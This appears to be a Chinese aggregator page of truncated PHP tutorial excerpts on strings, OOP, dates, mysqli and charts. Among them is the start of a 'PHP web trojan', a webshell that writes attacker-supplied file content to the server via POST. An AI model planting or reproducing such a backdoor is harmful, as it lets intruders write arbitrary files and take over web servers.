或者使用strcmp來判斷,但是這個能夠告訴你兩個字串是否相等,但是無法告訴你在那裡不同。 我的思路是單字串分割為一個個字母(character),這樣比較就能精確知道在那個位置不同了。 分隔字串,使用“str_split”就可以了,文法參考【2】。然後輸出結果數組,好處是連空格也會作為數組的元素。我之前的例子就是因為前一個字串包含2個空格,而後一個只有一個。但是輸出的時候看到的顯示都是一樣的。 也可以按照其他分隔字元進行分割,如“explode”或者“preg_split”,參考【3】和【4】
12.重載新的方法 在學習PHP 這種語言中你會發現,PHP 中的方法是不能重載的,所謂的方法重載就是 定義相同的方法名,通過“參數的個數”不同或“參數的類型”不同,來訪問我們的相同方法 名的不同方法。但是因為PHP 是弱類型的語言,所以在方法的參數中本身就可以接收不同類 型的資料,又因為PHP 的方法可以接收不定個數的參數,所以通過傳遞不同個數的參數調用 不相同方法名的不同方法也是不成立的。所以在PHP 裡面沒有方法重載。不能重載也就是在 你的項目中不能定義相同方法名的方法。另外,因為PHP
UTF-8的中文字串是三個位元組 複製代碼 代碼如下: //編碼UTF-8 echo strlen('測試文字a測試文字'); echo '-'; echo mb_strlen('測試文字a測試文字','utf-8'); ?> 輸出:25-9 GB2312的中文字串是二個位元組 複製代碼 代碼如下: //編碼GB2312 echo strlen('測試文字a測試文字'); echo '-'; echo mb_strlen('測試文字a測試文字','Gb2312'); ?> 輸出:17-9
舉例子如下: 複製代碼 代碼如下: $url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/"; $parts = parse_url($url); 輸出: 複製代碼 代碼如下: Array ( [scheme] => http [host] => www.electrictoolbox.com [path] => /php-extract-domain-from-full-url/ ) 又如:
11.類的繼承 繼承作為物件導向的三個重要特性的一個方面,在物件導向的領域有著極其重要的作用, 好像沒聽說哪個物件導向的語言不支援繼承。繼承是PHP5 物件導向程式設計的重要特性之 一,它是指建立一個新的衍生類別,從一個或多個先前定義的類中繼承資料和函數,而且可以 重新定義或加進新資料和函數,從而建立了類的層次或等級。說的簡單點就是,繼承性是子 類自動共用父類的資料結構和方法的機制,這是類之間的一種關係。在定義和實現一個類的
PHP安全防範程式模型 複製代碼 代碼如下: /* PHP防注入跨站V1.0 在您的頁面頂部添加: require(“menzhi_injection.php”); 即可實現通用防止SQL注入,以及XSS跨站漏洞。 ##################缺陷以及改進################## 程式還有很多缺陷,希望大家能協助改進 ##################參考以及鳴謝################## Neeao'ASP SQL通用防注入程式 V3
自動載入類 很多開發人員寫物件導向的應用程式時,對每個類的定義建立一個PHP 源檔案。一個很大 的煩惱是不得不在每個指令碼(每個類一個檔案)開頭寫一個長長的包含檔案的列表。 在軟體開發的系統中,不可能把所有的類都寫在一個PHP 檔案中,當在一個PHP 檔案 中需要調用另一個檔案中聲明的類時,就需要通過include 把這個檔案引入。不過有的時候, 在檔案眾多的項目中,要一一將所需類的檔案都include 進來,是一個很讓人頭疼的事,所以 我們能不能在用到什麼類的時候,再把這個類所在的PHP
10.__set() __get() __isset() __unset()四個方法的應用 一般來說,總是把類的屬性定義為private,這更符合現實的邏輯。但是,對屬性的讀取 和賦值操作是非常頻繁的,因此在PHP5 中,預定義了兩個函數“__get()”和“__set()”來獲 取和賦值其屬性,以及檢查屬性的“__isset()”和刪除屬性的方法“__unset()”。 上一節中,我們為每個屬性做了設定和擷取的方法,在PHP5 中給我們提供了專門為屬 性設定值和擷取值的方法,“__set()”
把對象序列化 有時候需要把一個對象在網路上傳輸,為了方便傳輸,可以把整個對象轉化為二進位串, 等到達另一端時,再還原為原來的對象,這個過程稱之為序列化,就像我們現在想把一輛汽 車通過輪船運到美國去,因為汽車的體積比較大,我們可以把汽車拆開成小的組件,然後我們把這些組件通過輪般運到美國去,到了美國再把這些組件組裝回汽車。 有兩種情況我們必須把對象序列化,第一種情況就是把一個對象在網路中傳輸的時候要 將對象序列化,第二種情況就是把對象寫入檔案或是資料庫的時候用到序列化。
9.封裝性 封裝性是物件導向編程中的三大特性之一,封裝性就是把對象的屬性和服務結合成一個 獨立的相同單位,並儘可能隱蔽對象的內部細節,包含兩個含義:1.把對象的全部屬性和全 部服務結合在一起,形成一個不可分割的獨立單位(即對象)。2.資訊隱蔽,即儘可能隱蔽對 象的內部細節,對外形成一個邊界〔或者說形成一道屏障〕,只保留有限的對外介面使之與外 部發生聯絡。 封裝的原則在軟體上的反映是:要求使對象以外的部分不能隨意存取對象的內部資料
從Web查詢資料庫:Web資料庫結構描述的工作原理 一個使用者的瀏覽器發出一個HTTP請求,請求特定的Web頁面,在該頁面中出發form表單提交到php指令檔(如:results.php)中處理 Web伺服器接收到對results.php頁面的請求後,檢索檔案,並將其傳遞給PHP引擎處理 PHP引擎開始解析指令碼。指令碼主要包括了串連資料庫和執行查詢的命令。PHP啟動了對MySQL伺服器的串連並向該伺服器發送適當的查詢。
1.物件導向的概念 物件導向編程(Object Oriented Programming,OOP,物件導向程式設計)是一種電腦編程架構,OOP 的一條基本原則是電腦程式是由單個能夠起到子程式作用的單元或對象組合而成,OOP
PHP的日期時間函數date() 1,年-月-日 echo date('Y-m-j'); 2007-02-6 echo date('y-n-j'); 07-2-6 大寫Y表示年四位元字,而小寫y表示年的兩位元字; 小寫m表示月份的數字(帶前置),而小寫n則表示不帶前置的月份數字。 echo date('Y-M-j'); 2007-Feb-6 echo date('Y-m-d'); 2007-02-06 大寫M表示月份的3個縮寫字元,而小寫m則表示月份的數字(帶前置0);
1. 建立資料庫連接 複製代碼 代碼如下: $mysqli = new mysqli("localhost","root","","mydb"); ?> 建立一個資料庫連接需要四個參數,分別為資料庫地址、資料庫訪問使用者名稱、資料庫訪問密碼、資料庫名稱。除了使用上面的mysqli對象的構造方法建立資料庫連接外,還可以調用其connect方法建立資料庫的串連。 複製代碼 代碼如下: $mysqli = new mysqli();
如何使用這個類呢?請看下面的示範: 複製代碼 代碼如下: $temptime = time(); echo strftime ( "%Hh%M %A %d %b" , $temptime ); $date = new DateAccount(); $temptime = $date ->DateAdd( "n" ,50, $temptime ); echo "" ; echo strftime ( "%Hh%M %A %d %b" , $temptime ); 複製代碼 代碼如下:
14.final 關鍵字的應用 這個關鍵字只能用來定義類和定義方法,不能使用final 這個關鍵字來定義成員屬性,因 為final 是常量的意思,我們在PHP 裡定義常量使用的是define()函數,所以不能使用final 來 定義成員屬性。 使用final 關鍵標記的類不能被繼承; 程式碼片段 final class Person{ … … } class Student extends Person{ } 會出現下面錯誤: Fatal error: Class Student may
php網頁木馬複製代碼 代碼如下:header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> 儲存檔案名稱: "> if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo
//字元截取,解決中文的截取問題代碼如下:function Cut_string($string, $start ,$sublen, $extstring='...', $code = 'UTF-8') {//Cut_string開始 if($code == 'UTF-8') { $pa =
13.訪問類型 類型的存取修飾詞允許開發人員對類成員的訪問進行限制,這是PHP5 的新特性,但卻 是OOP 語言的一個好的特性。而且大多數OOP 語言都已支援此特性。PHP5 支援如下3 種訪 問修飾符 public (公有的、預設的),private (私人的)和protected (受保護的)三種。 public 公有修飾符,類中的成員將沒有訪問限制,所有的外部成員都可以訪問(讀和寫) 這個類成員(包括成員屬性和成員方法),在PHP5 之前的所有版本中,PHP 中類的成員都是 public
餅圖 複製代碼 代碼如下: //+------------------------+ //| pie3dfun.PHP//公用函數 | //+------------------------+ define("ANGLE_STEP", 3); //定義畫橢圓弧時的角度步長 define("FONT_USED", "C:\WINDOWS\Fonts\simhei.ttf"); // 使用到的字型檔位置 function draw_getdarkcolor($img,$clr)